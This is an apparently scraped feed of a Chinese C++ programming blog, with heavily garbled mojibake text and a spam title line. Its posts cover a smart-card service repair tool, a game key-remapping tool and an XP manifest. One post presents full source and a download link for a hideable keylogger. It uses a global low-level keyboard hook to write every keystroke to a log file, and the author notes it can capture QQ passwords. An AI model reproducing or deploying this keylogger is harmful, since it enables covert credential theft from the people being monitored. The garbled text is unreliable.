一区二区高清在线,久久久精品欧美丰满,欧美日在线观看

个�hKPI日志

Pencil.C++ — Thu, 16 Feb 2012 07:01:00 GMT

2�?完成对mfe rootkit专杀工具的完整逆向�?br />3�?完成对snort的分析，写出分析成果�?img src ="http://m.shnenglu.com/pencil/aggbug/165742.html" width = "1" height = "1" />

Pencil.C++ 2012-02-16 15:01 发表评论

发一个键盘监听工��L��代码

Pencil.C++ — Thu, 28 Jan 2010 00:43:00 GMT

最�q�在研究反监听密码框的开发�?nbsp; 做这个东西是��Z��试密码框的效果�?用的是WH_KEYBOARD_LL钩子�?我暂时还没找到防止底层键盘全局钩子的方法。QQ的密码可以用�q�种�Ҏ��监听刎ͼ�但是不是明文。不知道它是怎么做到的�?br> 我也�l�这个工具做了个隐藏�?F4 �?br> 开发工��h��VS2008

钩子回调函数中的代码�Q?br>

1LRESULT CALLBACK LowLevelKeyboardProc(int nCode,
2                                      WPARAM wParam,
3                                      LPARAM lParam
4                                      )
5{
6    PKBDLLHOOKSTRUCT kbhs=(PKBDLLHOOKSTRUCT)lParam;
7    if (nCode<0)
8    {
9        return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
10    }
11    if (HC_ACTION==nCode)
12    {
13        if (WM_KEYDOWN==wParam || WM_SYSKEYDOWN==lParam)
14        {
15            if (VK_F4==kbhs->vkCode)
16            {
17                //先判断窗口是show or hide
18                m_hWnd2=FindWindow(NULL,L"KeyboardLoger Prees [F4] to hide or show me.");
19                if (IsWindowVisible(m_hWnd2))
20                {
21                    ShowWindow(m_hWnd2,SW_HIDE);
22                    return 0;
23                }
24                else
25                {
26                    if (NULL==m_hWnd2)
27                    {
28                        AfxMessageBox(L"查找��p�|�Q?/span>");
29                        return 0;
30                    }
31                    ShowWindow(m_hWnd2,SW_RESTORE);
32                    //UpdateWindow(m_hWnd);
33                    BringWindowToTop(m_hWnd);
34                    SetForegroundWindow(m_hWnd);
35                    return 1;
36                }
37            }
38
39                char c[1];
40
41                c[0]=kbhs->vkCode;
42
43                SaveLog(c);
44        }
45    }
46    return CallNextHookEx(hhKeyboard,nCode,wParam,lParam);
47}

字符保存的代码：

1void SaveLog(char* c)
2{
3    //AfxMessageBox(L"�q�入存储�E�序");
4    CTime tm=CTime::GetCurrentTime();
5
6    CString name;
7    TCHAR* szPath[MAX_PATH];
8    ::GetModuleFileName(GetModuleHandle(L"LogerDll"),(LPTSTR)szPath,MAX_PATH);
9    CString path=(LPTSTR)szPath;
10    path.Replace(L"\\LogerDll.dll",L"");
11    name.Format(L"\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
12    path+=name;
13
14
15
16    CFile file;
17
18    if(!file.Open(path,CFile::modeReadWrite))
19
20    {
21
22        file.Open(path,CFile::modeCreate|CFile::modeReadWrite);
23
24    }
25
26    file.SeekToEnd();
27
28    file.Write(c,1);
29
30    file.Close();
31
32
33}

下蝲地址�Q?a href="http://m.shnenglu.com/Files/pencil/KeyboardLoger.rar">http://m.shnenglu.com/Files/pencil/KeyboardLoger.rar

Pencil.C++ 2010-01-28 08:43 发表评论

Pencil.C++ — Fri, 15 Jan 2010 05:06:00 GMT

办理港澳通行证�?00块�?br>
机票一�?000/人�?来回2�?千块�?br>
住宿淘宝家庭旅馆 50-100一晚�?br>

Pencil.C++ 2010-01-15 13:06 发表评论

��兽攚w��助手1.2�Q�附VC源代码）

Pencil.C++ — Mon, 14 Dec 2009 04:35:00 GMT

摘要: 更新内容�Q?

(1)使用全局WH_KEYBOARD_LL 无需使用dll文�g�?

(2)��判断聊天模式�Q�如果正在聊天，则取消改键�?

(3)攚w��功能只针对war3�Q�不影响其他�E�序�?

(4)支持托盘�?

(5)支持1.24�?nbsp; 阅读全文

Pencil.C++ 2009-12-14 12:35 发表评论

scardsvr ��卡修复工具原理及代码

Pencil.C++ — Mon, 07 Dec 2009 12:40:00 GMT

�E�序有英�?��体中�?两种语言�Q�根据操作系�l�环境来选择language.
      代码下蝲�Q?a >http://bilaopao.download.csdn.net/
      开发工��P��VS 2008

修复�q�程分【普通修复】和【强力修复】�?br>   XP和VISTA/WIN7下的修复操作�q�是有很多区别的。但��Z��的原理是一��L��?�q�且因�ؓVista/Win7下的Smart Card 服务的scardsvr.exe可执行文件被更改为scardsvr.dll,也就没有了scardsvr的相兛_��装命令。我用dependency查看了下scardsvr.dll�Q�只能看��C��个入口函数。能力有限，google了一些资料也没有�l�果。就没分析下��M��?/p>

【普通修复】的修复�q�程�Q�以XP下的修复�q�程讲述�Q�vista/win7下操作请看代码）�Q?br>�Q?�Q�检�?��卡服�?是否��启动。�ƈ讄��其�ؓ自启动�?br>�Q?�Q�检��服务当前状态是否�ؓSERVICE_RUNNING�Q��ƈ讄��其状态�ؓ�q�行中�?br>�Q?�Q�检��前两步是否成功�Q�如果成功则向用户弹出messagebox询问moveable device功能是否正常�?br>�Q?�Q�如果功能仍abnormal,则初步判断是服务登陆账户为非"NT AUTHORITY\LocalService" �Q�则用CreateProcess来运�?sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= "" �Q�改变其用户为localservice(smart card service只有在此登陆账户下才正常�q�行)�?/p>

�Q?�Q�如果在普通修复过�E�中遇到服务查询不到�{�error�Ӟ��E�序自动启动强力修复来安装smart card service.

注意�Q�普通修复中的第3�Q?步中有点问题�Q�在�q�个地方其实最好是直接��查服务的登陆账户。然后做出相应的动作�Q�但是我�q�个地方没有惛_��实现的办法。望前辈提示。另外就是sc的命令格式有严格的限�Ӟ��~�码的时候要注意�{�号后面首先是空根{��我当时被这个空格困扰到了�?/p>

【强力修复】的修复�q�程�Q�XP下的修复�Q�vista/win7 下没有强力修复）
其实强力修复的过�E�就是网上流传的那个修复�q�程�Q�我只不�q�在�q�个修复�q�程中增加了验证和配�|�修攏V�?br>修复�q�程�Q?br>�Q?�Q�ScardSvr.exe reinstall
�Q?�Q�regsvr32.exe SCardssp.dll
�Q?�Q�sc.exe config SCardSvr obj= \"NT AUTHORITY\LocalService" password= ""
�Q?�Q�通过以上三步之后�Q�剩下的配置修改��p��普通修复过�E�一样了。而以上三步通过CreateProcess和WaitForSingleObject来配合控制�?/p>

应该差不多了。代码是半个月前写的�Q�一些地方可能有疏漏�?br>在代码实��C��q�有很多地方需要注意，我也都在代码中做��Z��注释。可自行查看�?/p>

如需交流�Q�可mailto:pencil@yeah.net MSN:pencil@yeah.net

Pencil.C++ 2009-12-07 20:40 发表评论

为exe��d��XP风格

Pencil.C++ — Thu, 19 Nov 2009 02:16:00 GMT

今天看改键助手的界面太难看，��想换成xp默认风格�Q�方法如下�?br>
manifest文�g内容�Q�将�q�个manifest文�g命名为Exe名＋.manifest�Q?如test.exe.manifest

1xml version="1.0" encoding="UTF-8" standalone="yes"?>
2<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
3<assemblyIdentity
4name="XP style manifest"
5processorArchitecture="x86"
6version="1.0.0.0"
7type="win32"/>
8<dependency>
9<dependentAssembly>
10    <assemblyIdentity
11      type="win32"
12      name="Microsoft.Windows.Common-Controls"
13      version="6.0.0.0"
14      processorArchitecture="x86"
15      publicKeyToken="6595b64144ccf1df"
16      language="*"
17    />
18dependentAssembly>
19dependency>
20assembly>

然后用mt.exe�l�定 (mt.exe是VS自带的一个工兗��可以搜索下�?

Mt.exe –mainfest test.exe.manifest –outputresource:test.exe;1

1是这个manifest资源的ID.可以有多个manifest资源�Q�但是vista默认使用1。其他的要自��q��码来玩�?

Pencil.C++ 2009-11-19 10:16 发表评论